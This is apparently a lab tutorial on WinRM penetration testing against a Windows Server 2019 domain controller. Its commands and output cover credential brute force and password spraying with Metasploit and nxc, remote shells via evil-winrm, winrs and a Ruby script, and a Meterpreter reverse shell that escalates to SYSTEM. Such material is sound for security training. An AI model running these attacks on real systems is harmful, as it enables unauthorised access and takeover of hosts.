

WinRM

Penetration Testing





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Introduction

WinRM Penetration Testing plays a crucial role in assessing the security of **Windows environments**. This guide further explores **lateral movement**, **remote shell access**, and **exploitation techniques** using tools like **PowerShell**, **Nmap**, and **Metasploit**. **Windows Remote Management (WinRM)**, developed by Microsoft, helps users remotely manage hardware and operating systems on **Windows machines**. It forms a key part of the **Windows Management Framework** and implements the **WS-Management Protocol**, a standard web services protocol designed for remote management of software and hardware. Notably, **WS-Management** uses **SOAP** and supports the **XML schema**. **WinRM** communicates over **port 5985** for **HTTP transport** and **5986** for **HTTPS Transport**

Lab Setup

Target Machine: Windows Server 2019 (192.168.31.70)

Standalone Individual Machine: Windows 10

Attacker Machine: Kali Linux (192.168.31.141)

To Perform lab setup, we need to enable and configure the WinRM service on both the server and an individual machine. Here we are using the Windows 10 as an individual machine and the server as Windows Server 2019.

First, we will configure the WinRM using PowerShell on the Windows Server 2019, the following procedure can be used:

Execution Policy Bypass:

In order to run some scripts or perform any task the execution policy needs to be bypassed. This method does not change the system-wide execution policy and only applies to the current PowerShell session. Following is the command:

```
powershell -ep bypass
```

Enable-PSRemoting:

The **Enable-PSRemoting** cmdlet configures the computer to receive PowerShell remote commands that are sent by using the WS-Management technology. Following is the command:

```
Enable-PSRemoting -force
```

WinRM config:

By default, WinRM listens on port 5985 for HTTP and 5986 for HTTPS. Also, there is a flexibility to allow connections from specific remote hosts. Here we are using the wildcard character (*) for all the machines on the network. Following are the commands:

```
winrm quickconfig -transport:https  
Set-Item wsman:\localhost\client\trustedhosts *
```

Restart service:

After the configuration is complete, now the service can be restarted using the following command:



Restart-Service WinRM

```
PS C:\Users\Administrator> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator> Enable-PSRemoting -force
PS C:\Users\Administrator> winrm quickconfig -transport:https
WinRM service is already running on this machine.
WSManFault
  Message
    ProviderFault
      WSMANFault
        Message = Cannot create a WinRM listener on HTTPS because this machine does not have an appropriate certificate.
Error number: -2144108267 0x80338115
Cannot create a WinRM listener on HTTPS because this machine does not have an appropriate certificate.
PS C:\Users\Administrator> Set-Item wsman:\localhost\client\trustedhosts *
WinRM Security Configuration
This command modifies the TrustedHosts list for the WinRM client. The computers in the list are trusted for WinRM connections.
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"):
PS C:\Users\Administrator> Restart-Service WinRM
PS C:\Users\Administrator>
```

There is one more configuration that we need to do is to add the **administrator** user in the local group **Remote Management Users**.

```
net localgroup "Remote Management Users" /add administrator
```

```
PS C:\Users\Administrator> net localgroup "Remote Management Users" /add administrator
The command completed successfully.
PS C:\Users\Administrator>
```

Now to configure on the individual machine, we are going to perform the same action which we followed in case of server configuration. It can be noticed that Enable-PSRemoting command gives an error however the command will be executed successfully.

```

C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Enable-PSRemoting -force
WinRM is already set up to receive requests on this computer.
Set-WSManQuickConfig : <f:WSManFault xmlns:f="http://schemas.microsoft.com/wbem/wsmnfault" Code="2150859113" Message="Either Domain or Private and try again."/></f:WSManFault></f:ProviderFault>
At line:116 char:17
+ ~~~~~
+ Set-WSManQuickConfig -force
+ ~~~~~
+ CategoryInfo          : InvalidOperation: (:) [Set-WSManQuickConfig], InvalidOperationException
+ FullyQualifiedErrorId : WsManError,Microsoft.WSMan.Management.SetWSManQuickConfig

PS C:\Windows\system32> winrm quickconfig -transport:https
WinRM service is already running on this machine.
WSManFault
  Message
    ProviderFault
      WsManFault
        Message = Cannot create a WinRM listener on HTTPS because this machine does not have an approved certificate, or self-signed.
Error number: -2144108267 0x80338115
Cannot create a WinRM listener on HTTPS because this machine does not have an approved certificate, or self-signed.
PS C:\Windows\system32> Set-Item wsman:\localhost\client\trustedhosts *
WinRM Security Configuration.
This command modifies the TrustedHosts list for the WinRM client. The computers in the list are trusted for WinRM connections.
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"):
PS C:\Windows\system32> Restart-Service WinRM

```

Testing the connection

We can check the connection using test-wsman, if the connection is successful then the command will return the version details.

```
test-wsman -computername "192.168.31.70"
```

```

PS C:\Users\IEUser> test-wsman -computername "192.168.31.70"
wsmid       : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor  : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

```

Lateral Movement (Locally)

Since the service is active, now we can try different ways to move laterally by directly using the WinRM service. Here we are assuming that we have already obtained the initial access in the system as a user now we are trying to move laterally.



Connecting server using Enter-PSSession

You can use the **Enter-PSSession** cmdlet to connect to the **remote server** by specifying the **ComputerName** (target machine) and the **Credential** (trusted remote account). Once you establish the connection, you can run **system commands** directly on the target.

```
Enter-PSSession -ComputerName 192.168.31.70 -Credential administrator  
Systeminfo
```

```
PS C:\Users\IEUser> Enter-PSSession -ComputerName 192.168.31.70 -Credential administrator  
[192.168.31.70]: PS C:\Users\Administrator\Documents> systeminfo  
  
Host Name: DC1  
OS Name: Microsoft Windows Server 2019 Standard Evaluation  
OS Version: 10.0.17763 N/A Build 17763  
OS Manufacturer: Microsoft Corporation  
OS Configuration: Primary Domain Controller  
OS Build Type: Multiprocessor Free  
Registered Owner: Windows User  
Registered Organization:  
Product ID: 00431-10000-00000-AA885  
Original Install Date: 7/8/2024, 1:19:23 PM  
System Boot Time: 7/10/2024, 1:13:48 AM  
System Manufacturer: VMware, Inc.  
System Model: VMware7,1  
System Type: x64-based PC  
Processor(s): 2 Processor(s) Installed.  
[01]: Intel64 Family 6 Model 165 Stepping 5 GenuineIntel ~2904 Mhz  
[02]: Intel64 Family 6 Model 165 Stepping 5 GenuineIntel ~2904 Mhz  
BIOS Version: VMware, Inc. VMW71.00V.16722896.B64.2008100651, 8/10/2020  
Windows Directory: C:\Windows  
System Directory: C:\Windows\system32  
Boot Device: \Device\HarddiskVolume2  
System Locale: en-us;English (United States)  
Input Locale: en-us;English (United States)  
Time Zone: (UTC-08:00) Pacific Time (US & Canada)  
Total Physical Memory: 8,191 MB  
Available Physical Memory: 6,485 MB  
Virtual Memory: Max Size: 10,111 MB  
Virtual Memory: Available: 8,466 MB  
Virtual Memory: In Use: 1,645 MB  
Page File Location(s): C:\pagefile.sys  
Domain: ignite.local  
Logon Server: \\DC1  
Hotfix(s): 3 Hotfix(s) Installed.  
[01]: KB4514366  
[02]: KB4512577  
[03]: KB4512578  
Network Card(s): 1 NIC(s) Installed.  
[01]: Intel(R) 82574L Gigabit Network Connection  
Connection Name: Ethernet0  
DHCP Enabled: No  
IP address(es)
```



Connecting server using winrs

winrs is another command which uses WinRM service to connect to remote systems and execute the commands.

```
winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 ipconfig
```

```
PS C:\Users\IEUser> winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 ipconfig
Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    IPv4 Address. . . . . : 192.168.31.70
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.31.1
```

It can also be used to get an interactive shell where we can run the commands afterwards directly.

```
winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 CMD
```

```
PS C:\Users\IEUser> winrs -r:192.168.31.70 -u:workstation\administrator -p:Ignite@987 CMD
Microsoft Windows [Version 10.0.17763.737]
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C:\Users\Administrator>whoami
whoami
ignite\administrator
```

Connecting server using Powershell

Additionally, you can connect using **PowerShell Invoke-Command**. Here, you must provide the host name in the **ComputerName** parameter and the account name in the **Credential** parameter. You should also set the **Authentication** type as **Negotiate**. When you use **Negotiate**, **PowerShell** will initially try **Kerberos authentication** and, if it fails, it will switch to **NTLM**. However, in environments outside a domain, providing credentials becomes essential. You can also input the command using the **ScriptBlock** parameter.

```
Invoke-Command -ComputerName "192.168.31.70" -Credential workgroup\administrator -
Authentication Negotiate -Port 5985 -ScriptBlock {ipconfig /all}
```



```
PS C:\Users\IEUser> Invoke-Command -ComputerName "192.168.31.70" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {ipconfig /all}

Windows IP Configuration

Host Name . . . . . : DC1
Primary Dns Suffix . . . . . : ignite.local
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : ignite.local

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :
Description . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . : 00-0C-29-4D-15-81
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . : 192.168.31.70(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.31.1
DNS Servers . . . . . : 192.168.31.70
                        8.8.8.8
NetBIOS over Tcpip. . . . . : Enabled
```

Moreover, you can create a **cred object** to handle credentials, where the password serves as an argument. To create a **SecureString**, include the **-AsPlainText** and **-Force** parameters; otherwise, the command will fail. Finally, you can pass this **SecureString** as a variable into the **cred object**, which you create using the **System.Management.Automation** namespace and the **PSCredential** class.

```
$pass = ConvertTo-SecureString 'ignite@987' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('workstation\administrator', $pass)
Invoke-Command -ComputerName 192.168.31.70 -Credential $cred -ScriptBlock { ipconfig }
```

```
PS C:\Users\IEUser> $pass = ConvertTo-SecureString 'ignite@987' -AsPlainText -Force
PS C:\Users\IEUser> $cred = New-Object System.Management.Automation.PSCredential ('workstation\administrator', $pass)
PS C:\Users\IEUser> Invoke-Command -ComputerName 192.168.31.70 -Credential $cred -ScriptBlock { ipconfig }

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :
IPv4 Address. . . . . : 192.168.31.70
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.31.1
```



Lateral Movement (Remotely)

Scanning

To connect with the WinRM service remotely, first we need to perform the enumeration.

```
nmap -p5985,5986 -sV 192.168.31.70
```

It can be seen that the port 5985 is open and it supports the HTTP for WinRM connections.

```
(root@kali)-[~]
# nmap -p5985,5986 -sV 192.168.31.70

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 04:19 EDT
Nmap scan report for 192.168.31.70
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
5985/tcp  open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  closed wsmans
MAC Address: 00:0C:29:4D:15:81 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Identifying the WinRM authentication methods

The **winrm_auth_methods** auxiliary in Metasploit module can be used to determine the authentication methods. If the WinRM is supported this auxiliary will

```
use auxiliary/scanner/winrm/winrm_auth_methods
set rhosts 192.168.31.70
run
```

```
msf6 > use auxiliary/scanner/winrm/winrm_auth_methods
msf6 auxiliary(scanner/winrm/winrm_auth_methods) > set rhosts 192.168.31.70
rhosts => 192.168.31.70
msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run

[+] 192.168.31.70:5985: Negotiate protocol supported
[+] 192.168.31.70:5985: Kerberos protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

WinRM login brute force

The brute force on WinRM can also be performed to enumerate the successful credentials. Here we are using the **auxiliary/scanner/winrm/winrm_login** inside Metasploit module. Here we are keeping the DOMAIN as default i.e., WORKSTATION. We can specify the usernames in user_file and the passwords in the pass_file.





```
use auxiliary/scanner/winrm/winrm_login
set rhosts 192.168.31.70
set user_file users.txt
set pass_file pass.txt
set password N/A
run
sessions 1
```

Once the valid credentials are found, the session is obtained.



```
(root@kali)-[~]
# msfconsole -q
msf6 > use auxiliary/scanner/winrm/winrm_login
msf6 auxiliary(scanner/winrm/winrm_login) > set rhosts 192.168.31.70
rhosts => 192.168.31.70
msf6 auxiliary(scanner/winrm/winrm_login) > set user_file users.txt
user_file => users.txt
msf6 auxiliary(scanner/winrm/winrm_login) > set pass_file pass.txt
pass_file => pass.txt
msf6 auxiliary(scanner/winrm/winrm_login) > set password N/A
password => N/A
msf6 auxiliary(scanner/winrm/winrm_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:password (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:Ignite@987 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:Password@123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\raj:1234 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:password (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:Ignite@987 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:Password@123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\aaarti:1234 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\administrator:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\administrator:password (Incorrect: )
[+] 192.168.31.70:5985 - Login Successful: WORKSTATION\administrator:Ignite@987
[*] Command shell session 1 opened (192.168.31.141:36615 -> 192.168.31.70:5985) at
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:password (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:Ignite@987 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:Password@123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\ieuser:1234 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:password (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:Ignite@987 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:Password@123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\geet:1234 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:N/A (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:password (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:Ignite@987 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:Password@123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:123 (Incorrect: )
[-] 192.168.31.70: - LOGIN FAILED: WORKSTATION\komal:1234 (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions 1
[*] Starting interaction with 1...

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C:\Users\Administrator>
```



Password spray using nxc

nxc can be used to perform password spray on the WinRM service, we just need to pass the username and password file as input.

```
nxc winrm 192.168.31.70 -u users.txt -p pass.txt
```

```
(root@kali)-[~]
# nxc winrm 192.168.31.70 -u users.txt -p pass.txt
WINRM 192.168.31.70 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1)
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\raj:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\arti:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\administrator:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\ieuser:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\geet:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\komal:password
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\raj:Ignite@987
WINRM 192.168.31.70 5985 DC1 [-] ignite.local\arti:Ignite@987
WINRM 192.168.31.70 5985 DC1 [+] ignite.local\administrator:Ignite@987 (Pwn3d!)
```

Once the valid username and password is obtained we can login into the remote system using **evil-winrm** tool.

```
evil-winrm -i 192.168.31.70 -u administrator -p Ignite@987
```

```
(root@kali)-[~]
# evil-winrm -i 192.168.31.70 -u administrator -p Ignite@987
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting
Data: For more information, check Evil-WinRM GitHub: https://github.com/
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We can also directly run the commands by giving the **-x** flag using **nxc**, after the valid credentials are found.

```
nxc winrm 192.168.31.70 -u administrator -p Ignite@987 -x ipconfig
```

```
(root@kali)-[~]
# nxc winrm 192.168.31.70 -u administrator -p Ignite@987 -x ipconfig
WINRM 192.168.31.70 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1)
WINRM 192.168.31.70 5985 DC1 [+] ignite.local\administrator:Ignite@987 (Pwn3d!)
WINRM 192.168.31.70 5985 DC1 [+] Executed command (shell type: cmd)
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
WINRM 192.168.31.70 5985 DC1
Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :
IPv4 Address. . . . . : 192.168.31.70
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.31.1
```





Exploiting WinRM using Metasploit

Once we have found the valid credentials, we can perform command execution using the **auxiliary/scanner/winrm/winrm_cmd** inside **Metasploit**. Following are the commands:

```
use auxiliary/scanner/winrm/winrm_cmd
set cmd ipconfig
set username administrator
set password Ignite@987
run
```

```
msf6 > use auxiliary/scanner/winrm/winrm_cmd
msf6 auxiliary(scanner/winrm/winrm_cmd) > set rhosts 192.168.31.70
rhosts => 192.168.31.70
msf6 auxiliary(scanner/winrm/winrm_cmd) > set cmd ipconfig
cmd => ipconfig
msf6 auxiliary(scanner/winrm/winrm_cmd) > set username administrator
username => administrator
msf6 auxiliary(scanner/winrm/winrm_cmd) > set password Ignite@987
password => Ignite@987
msf6 auxiliary(scanner/winrm/winrm_cmd) > run
```

```
Windows IP Configuration
```

```
Ethernet adapter Ethernet0:
```

```
Connection-specific DNS Suffix . :
IPv4 Address. . . . . : 192.168.31.70
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.31.1
```

```
[+] Results saved to /root/.msf4/loot/20240710042950_default_192.168.31.70_
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

We can also take the meterpreter session, once we have the valid credentials. The **exploit/windows/winrm/winrm_script_exec** can be used to execute the script. This exploit automatically tries to perform privilege escalation by migrating to a system level process.

```
use exploit/windows/winrm/winrm_script_exec
set rhosts 192.168.31.70
set username administrator
set password Ignite@987
run
```



```
msf6 > use exploit/windows/winrm/winrm_script_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/winrm/winrm_script_exec) > set rhosts 192.168.31.70
rhosts => 192.168.31.70
msf6 exploit(windows/winrm/winrm_script_exec) > set username administrator
username => administrator
msf6 exploit(windows/winrm/winrm_script_exec) > set password Ignite@987
password => Ignite@987
msf6 exploit(windows/winrm/winrm_script_exec) > run

[*] Started reverse TCP handler on 192.168.31.141:4444
[*] Checking for Powershell 2.0
[-] You selected an x86 payload for an x64 target... trying to run in compat mode
[*] Grabbing %TEMP%
[*] Uploading powershell script to C:\Users\ADMINI~1\AppData\Local\Temp\CRssFfhq.ps1 (This may take a few minutes)...
[*] Attempting to execute script...
[*] Sending stage (176198 bytes) to 192.168.31.70
[*] Session ID 2 (192.168.31.141:4444 -> 192.168.31.70:52898) processing InitialAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is powershell.exe (916) as: IGNITE\Administrator
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[-] Could not migrate to services.exe.
[-] Could not migrate to wininit.exe.
[*] Trying svchost.exe (880)
[+] Successfully migrated to svchost.exe (880) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 2 opened (192.168.31.141:4444 -> 192.168.31.70:52898) at 2024-07-10 04:31:48 -0400

meterpreter > sysinfo
Computer      : DC1
OS            : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain        : IGNITE
Logged On Users : 8
Meterpreter   : x64/windows
```

WQL (WMI Query Language) is a specialized subset of **SQL (Structured Query Language)**, specifically designed for querying data within the **Windows Management Instrumentation (WMI)** framework.

Once you obtain **valid credentials** for the **WinRM service**, you can exploit the **WMI functionality** to execute arbitrary **WQL queries** on the **target system**. Additionally, the module stores the results of these queries as **loot** for later analysis.

For example, you can provide a **WQL query** to retrieve the **Name** and **Status** of services from the **Win32_Service** class.

```
use auxiliary/scanner/winrm/winrm_wql
set rhosts 192.168.31.70
set username administrator
set password Ignite@987
set wql 'Select Name,Status from Win32_Service'
run
```



```
msf6 > use auxiliary/scanner/winrm/winrm_wql ←
msf6 auxiliary(scanner/winrm/winrm_wql) > set rhosts 192.168.31.70
rhosts => 192.168.31.70
msf6 auxiliary(scanner/winrm/winrm_wql) > set username administrator
username => administrator
msf6 auxiliary(scanner/winrm/winrm_wql) > set password Ignite@987
password => Ignite@987
msf6 auxiliary(scanner/winrm/winrm_wql) > set wql 'Select Name,Status from Win32_Service'
wql => Select Name,Status from Win32_Service
msf6 auxiliary(scanner/winrm/winrm_wql) > run
```

[+] Select Name,Status from Win32_Service (192.168.31.70)

name	status
ADWS	OK
AJRouter	OK
ALG	OK
AppIDSvc	OK
AppMgmt	OK
AppReadiness	OK
AppVClient	OK
AppXSvc	OK
Appinfo	OK
AudioEndpointBuilder	OK
Audiosrv	OK
AxInstSV	OK
BFE	OK
BITS	OK
BTAGService	OK
BrokerInfrastructure	OK
BthAvctpSvc	OK
CDPSvc	OK
CDPUserService_39258	OK
COMSysApp	OK
CaptureService_39258	OK
CertPropSvc	OK
ClipSVC	OK
ConsentUxUserSvc_39258	OK
CoreMessagingRegistrar	OK
CryptSvc	OK
CscService	OK
DFSR	OK
DNS	OK
DPS	OK
DcomLaunch	OK
DevQueryBroker	OK
DeviceAssociationService	OK
DeviceInstall	OK
DevicePickerUserSvc_39258	OK
DevicesFlowUserSvc_39258	OK
Dfs	OK
Dhcp	OK
DiagTrack	OK
DmEnrollmentSvc	OK
Dnscache	OK



Connecting remote shell using docker

We can execute a **Docker** image of PowerShell with NTLM support to allow for PS-Remoting from Linux to Windows. After the connection we can supply the valid credentials and get the session through Enter-PSSession.

```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 192.168.31.70 -Authentication Negotiate -Credential $creds
```

```
(root@kali)-[~]
# docker run -it quickbreach/powershell-ntlm
PowerShell 6.1.1
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /> $creds = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: *****

PS /> Enter-PSSession -ComputerName 192.168.31.70 -Authentication Negotiate -Credential $creds
[192.168.31.70]: PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    IPv4 Address. . . . . : 192.168.31.70
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.31.1
[192.168.31.70]: PS C:\Users\Administrator\Documents>
```

Connecting remote shell using Ruby script

We can also connect to the remote server which has WinRM enabled using a ruby script. The script can be downloaded from here:

https://raw.githubusercontent.com/Alamot/code-snippets/master/winrm/winrm_shell_with_upload.rb

We need to modify this script by giving a valid username, password and endpoint.

```
cat winrm_shell_with_upload.rb
```





```
(root@kali)-[~]
# cat winrm_shell_with_upload.rb
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'http://192.168.31.70:5985/wsman',
  transport: :ssl,
  user: 'administrator',
  password: 'Ignite@987',
  :no_ssl_peer_verification => true
)

file_manager = WinRM::FS::FileManager.new(conn)

class String
  def tokenize
    self.
      split(/\s(?=(?:[^\s]|'|"[^"]*"|'["']*')*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|(^ +$)|(^["']+)|(["']+$)/, '')}
  end
end

command=""

conn.shell(:powershell) do |shell|
  until command = "exit\n" do
    output = shell.run("join($id,'PS ',$(whoami),'@',$env:comp
    print(output.output.chomp)
    command = gets
    if command.start_with?('UPLOAD') then
      upload_command = command.tokenize
      print("Uploading " + upload_command[1] + " to " + uploa
      file_manager.upload(upload_command[1], upload_command[2]
      puts("#{bytes_copied} bytes of #{total_bytes} bytes
      end
      command = "echo `nOK`n"
    end

    output = shell.run(command) do |stdout, stderr|
      STDOUT.print(stdout)
      STDERR.print(stderr)
    end
  end
  puts("Exiting with code #{output.exitcode}")
end
```



Once we have modified the script, we can execute it using ruby.

```
ruby winrm_shell_with_upload.rb  
ipconfig /all
```

```
(root@kali)-[~]  
# ruby winrm_shell_with_upload.rb  
PS ignite\administrator@DC1 Documents> ipconfig /all  
  
Windows IP Configuration  
  
Host Name . . . . . : DC1  
Primary Dns Suffix . . . . . : ignite.local  
Node Type . . . . . : Hybrid  
IP Routing Enabled. . . . . : No  
WINS Proxy Enabled. . . . . : No  
DNS Suffix Search List. . . . . : ignite.local  
  
Ethernet adapter Ethernet0:  
  
Connection-specific DNS Suffix . :  
Description . . . . . : Intel(R) 82574L Gigabit Ne  
Physical Address. . . . . : 00-0C-29-4D-15-81  
DHCP Enabled. . . . . : No  
Autoconfiguration Enabled . . . . : Yes  
IPv4 Address. . . . . : 192.168.31.70(Preferred)  
Subnet Mask . . . . . : 255.255.255.0  
Default Gateway . . . . . : 192.168.31.1  
DNS Servers . . . . . : 192.168.31.70  
8.8.8.8  
NetBIOS over Tcpi. . . . . : Enabled
```

Conclusion

WinRM proves highly useful in day-to-day tasks. However, if you fail to configure it properly, attackers can exploit it to gain **shell access**. Therefore, you should assign **authentication permissions** only to **trusted users**, not to everyone.

Reference:

<https://infra.newersec.com/infrastructure-testing/enumeration/services-ports/winrm>

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